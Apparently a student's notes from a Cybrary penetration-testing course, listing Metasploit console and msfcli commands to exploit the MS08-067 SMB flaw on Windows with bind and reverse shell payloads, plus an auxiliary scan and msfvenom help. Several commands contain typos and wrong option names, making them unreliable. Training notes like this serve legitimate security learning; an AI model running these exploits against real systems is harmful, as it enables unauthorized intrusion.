< All Advanced Penetration Testing Notes

ali2141997 | Advanced Penetration Testing | Module 3 - Metasploit

By: ali2141997 | Related Course: Advanced Penetration Testing | Published: July 24, 2017 | Modified: July 25, 2017
Join Cybrary

Notepadpart 2

cd /user/share/metasploit-framework

cd modules 

cd  exploit 

cd windows 

cd smb 

cat ms08_067_netapi.rb

www.exploit-db.com

 


Notepadpart 3

Operation

service postgresql start 

service metasploit start 

msfconsol

and then opened windows to penteretion testing

 help 

www.metasploit.com

search ms08-067 

info exploit/windows/smb/ms08-067_netapi

use exploit/windows/smb/ms08-067_netapi

show options 

set RPORT  (ip is hacked)

set RPORT (port)

show targets

show options

show payload

set payload windows/shell/bind_tcp

show options

set LPORT (port)

exploit

#in windows

ipconfig

netstat -ano

sessions -l ==> for show list

 


Notepadpart 4

Auxiliary Module

use axiliary/scanner/amd/pipe_auditor

show option

set RHOST (IP)

exploit 

 


Notepadpart 5

msfcli

msfcli -h 

msfcli exploit/windos/smb/ms08_067_netapi P 

msfcli exploit/windos/smb/ms08_067_netapi payload”windows/sell/reverse_tcp 0

or

msfcli exploit/windos/smb/ms08_067_netapi payload”windows/sell/reverse_tcp RHOST(ip) LHOST (ip) E

 

 

 


Notepadpart 6

msfvenom

cd /user/shearmetasploit-framecd

cd root

msfvenom -h

 


< All Advanced Penetration Testing Notes
Join Cybrary

Our Revolution

We believe Cyber Security training should accessible for everyone, everywhere. Everyone deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is the world's largest community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel